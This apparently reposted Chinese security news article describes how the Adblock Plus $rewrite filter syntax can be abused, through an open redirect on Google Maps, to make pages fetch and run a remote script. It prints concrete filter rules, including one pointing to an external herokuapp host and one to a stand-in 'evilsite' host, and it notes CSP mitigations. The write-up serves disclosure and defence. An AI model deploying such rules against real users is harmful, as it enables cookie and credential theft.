Adblock Plus订阅列表机制存在漏洞,可用于运行恶意代码

本文主要是介绍Adblock Plus订阅列表机制存在漏洞,可用于运行恶意代码,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

国外安全专家Sebastian近日发现Adblock Plus、AdBlock和uBlocker浏览器扩展的广告拦截过滤器列表存在漏洞,攻击者可以利用该漏洞运行恶意代码,可窃取用户的cookie、登录凭据、进行页面重定向或其他恶意行为。受影响的扩展拥有超过1亿活跃用户,并且该功能可以轻松利用以攻击任何足够复杂的Web服务(如Google服务),而攻击很难检测并且可以在所有主流浏览器中实现。

Ad-Blocker

“$ rewrite”语法

一个广告屏蔽插件通常分为两个部分:插件本身和订阅列表。订阅列表包含对于各类恶意网址、广告或者插件的屏蔽信息,大多都支持正则表达式。而插件本身则在读取这些订阅列表后进行相应的操作,比如浏览器连接到列表中的网址或者阻止恶意广告和脚本。

举个例子,下方是热门的订阅过滤器EasyList的内容:

easylist

2018年,Adblock Plus 3.2发布时,添加了一个名为$ rewrite 新语法,允许列表维护者将与特定正则表达式匹配的Web请求替换为另一个URL。替换字符串必须是相对应的URL,不包含主机名,并且在重写时必须与原始请求位于同一域中。

举个例子,在订阅列表中添加以下过滤规则可将example.com/ad.gif的所有请求都替换为example.com/puppies.gif。因此,页面上的对应位置不会显示广告,而是更换为小狗照片。

||example.com/ad.gif$rewrite=/puppies.gif

由于重写的URL必须与原始URL位于同一源,并且必须是相对URL,因此以下$ rewrite 实例是无效的。

||example.com/ads.js$rewrite=https://evilsite.tk/bwahaha.js

在新增该语法之处,开发者考虑到了可能引发的安全隐患,所以当重写的对象为SCRIPTSUBDOCUMENTOBJECTOBJECT_SUBREQUEST时,该语法失效。

那么在这些限制的加持下,如何利用该语法运行恶意代码?

XMLHttpRequest和Fetch

当使用XMLHttpRequest或Fetch下载代码并执行时,可以利用此过滤器语法使用Web服务,同时允许请求任意来源并于服务器端开放重定向。这样的攻击难以检测,因为该扩展插件会定期更新过滤器列表,只要该列表的维护人员为恶意过滤器列表设置一个较短的过期时间,然后将其替换为没问题的过滤器列表。

要利用该漏洞需要满足以下条件:

  1. 页面必须使用XMLHttpRequest或Fetch加载JS字符串并执行返回的代码;

  2. 页面不能严格部署了CSP策略,或者在执行下载的代码之前不能验证最终请求URL;

  3. 获取代码的来源必须支持服务器端的重定向或者内容托管。

关键就是使用XMLHttpRequest或Fetch来下载脚本和打开重定向功能,使得攻击者能够从远程站点通过XMLHttpRequest读取脚本,而此时对于插件而言看起来仍是同一个来源。天空彩

比如访问量非常大的Google Maps站点就可以利用XMLHttpRequest加载脚本,因为它的搜索结果页面中包含一个开放重定向:

/^https://www.google.com/maps/_/js/k=.*/m=pw/.*/rs=.*/$rewrite=/search?hl=en-US&source=hp&biw=&bih=&q=majestic-ramsons.herokuapp.com&btnI=I%27m+Feeling+Lucky&gbv=1

根据上述规则,当用户访问www.google.com/maps/时,过滤规则将使用Google开放重定向来读取https://majestic-ramsons.herokuapp.com/的内容。

运行远程脚本

由于打开的重定向url位于同一个源或域中,允许读取字符串并将其作为JavaScript执行,导致警报:

远程脚本显示警报

风险与后续

虽然更改过滤器页表的方法有很多,这不是最严重的一个,但Sebastian担心别有用心的列表维护者会利用该漏洞发起难以检测的针对性攻击,比如2018年,一个不署名的列表维护者因为政治原因该写了某个订阅列表,导致大量声援抗议活动的工会网站在该广告屏蔽插件的作用下出现问题。

Sebastian向谷歌报告了该漏洞,但谷歌坚称开放重定向是他们一贯的立场:

Google已收到有关此漏洞的通知,但该报告已作为”预期行为“被关闭,因为他们认为潜在的安全问题仅存在于上述浏览器扩展中。

实际上该漏洞可以用于一系列供应链攻击,Sebastian建议网站使用CSP标头和connect-src选项来指定可以从中加载脚本的站点的白名单,以降低安全风险。

这篇关于Adblock Plus订阅列表机制存在漏洞,可用于运行恶意代码的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/779288

相关文章

Python如何精准判断某个进程是否在运行

《Python如何精准判断某个进程是否在运行》这篇文章主要为大家详细介绍了Python如何精准判断某个进程是否在运行,本文为大家整理了3种方法并进行了对比,有需要的小伙伴可以跟随小编一起学习一下... 目录一、为什么需要判断进程是否存在二、方法1:用psutil库(推荐)三、方法2:用os.system调用

C++如何通过Qt反射机制实现数据类序列化

《C++如何通过Qt反射机制实现数据类序列化》在C++工程中经常需要使用数据类,并对数据类进行存储、打印、调试等操作,所以本文就来聊聊C++如何通过Qt反射机制实现数据类序列化吧... 目录设计预期设计思路代码实现使用方法在 C++ 工程中经常需要使用数据类,并对数据类进行存储、打印、调试等操作。由于数据类

Python列表去重的4种核心方法与实战指南详解

《Python列表去重的4种核心方法与实战指南详解》在Python开发中,处理列表数据时经常需要去除重复元素,本文将详细介绍4种最实用的列表去重方法,有需要的小伙伴可以根据自己的需要进行选择... 目录方法1:集合(set)去重法(最快速)方法2:顺序遍历法(保持顺序)方法3:副本删除法(原地修改)方法4:

Python运行中频繁出现Restart提示的解决办法

《Python运行中频繁出现Restart提示的解决办法》在编程的世界里,遇到各种奇怪的问题是家常便饭,但是,当你的Python程序在运行过程中频繁出现“Restart”提示时,这可能不仅仅是令人头疼... 目录问题描述代码示例无限循环递归调用内存泄漏解决方案1. 检查代码逻辑无限循环递归调用内存泄漏2.

SpringRetry重试机制之@Retryable注解与重试策略详解

《SpringRetry重试机制之@Retryable注解与重试策略详解》本文将详细介绍SpringRetry的重试机制,特别是@Retryable注解的使用及各种重试策略的配置,帮助开发者构建更加健... 目录引言一、SpringRetry基础知识二、启用SpringRetry三、@Retryable注解

SpringKafka错误处理(重试机制与死信队列)

《SpringKafka错误处理(重试机制与死信队列)》SpringKafka提供了全面的错误处理机制,通过灵活的重试策略和死信队列处理,下面就来介绍一下,具有一定的参考价值,感兴趣的可以了解一下... 目录引言一、Spring Kafka错误处理基础二、配置重试机制三、死信队列实现四、特定异常的处理策略五

将Mybatis升级为Mybatis-Plus的详细过程

《将Mybatis升级为Mybatis-Plus的详细过程》本文详细介绍了在若依管理系统(v3.8.8)中将MyBatis升级为MyBatis-Plus的过程,旨在提升开发效率,通过本文,开发者可实现... 目录说明流程增加依赖修改配置文件注释掉MyBATisConfig里面的Bean代码生成使用IDEA生

Spring Boot + MyBatis Plus 高效开发实战从入门到进阶优化(推荐)

《SpringBoot+MyBatisPlus高效开发实战从入门到进阶优化(推荐)》本文将详细介绍SpringBoot+MyBatisPlus的完整开发流程,并深入剖析分页查询、批量操作、动... 目录Spring Boot + MyBATis Plus 高效开发实战:从入门到进阶优化1. MyBatis

java中反射(Reflection)机制举例详解

《java中反射(Reflection)机制举例详解》Java中的反射机制是指Java程序在运行期间可以获取到一个对象的全部信息,:本文主要介绍java中反射(Reflection)机制的相关资料... 目录一、什么是反射?二、反射的用途三、获取Class对象四、Class类型的对象使用场景1五、Class

Spring Boot结成MyBatis-Plus最全配置指南

《SpringBoot结成MyBatis-Plus最全配置指南》本文主要介绍了SpringBoot结成MyBatis-Plus最全配置指南,包括依赖引入、配置数据源、Mapper扫描、基本CRUD操... 目录前言详细操作一.创建项目并引入相关依赖二.配置数据源信息三.编写相关代码查zsRArly询数据库数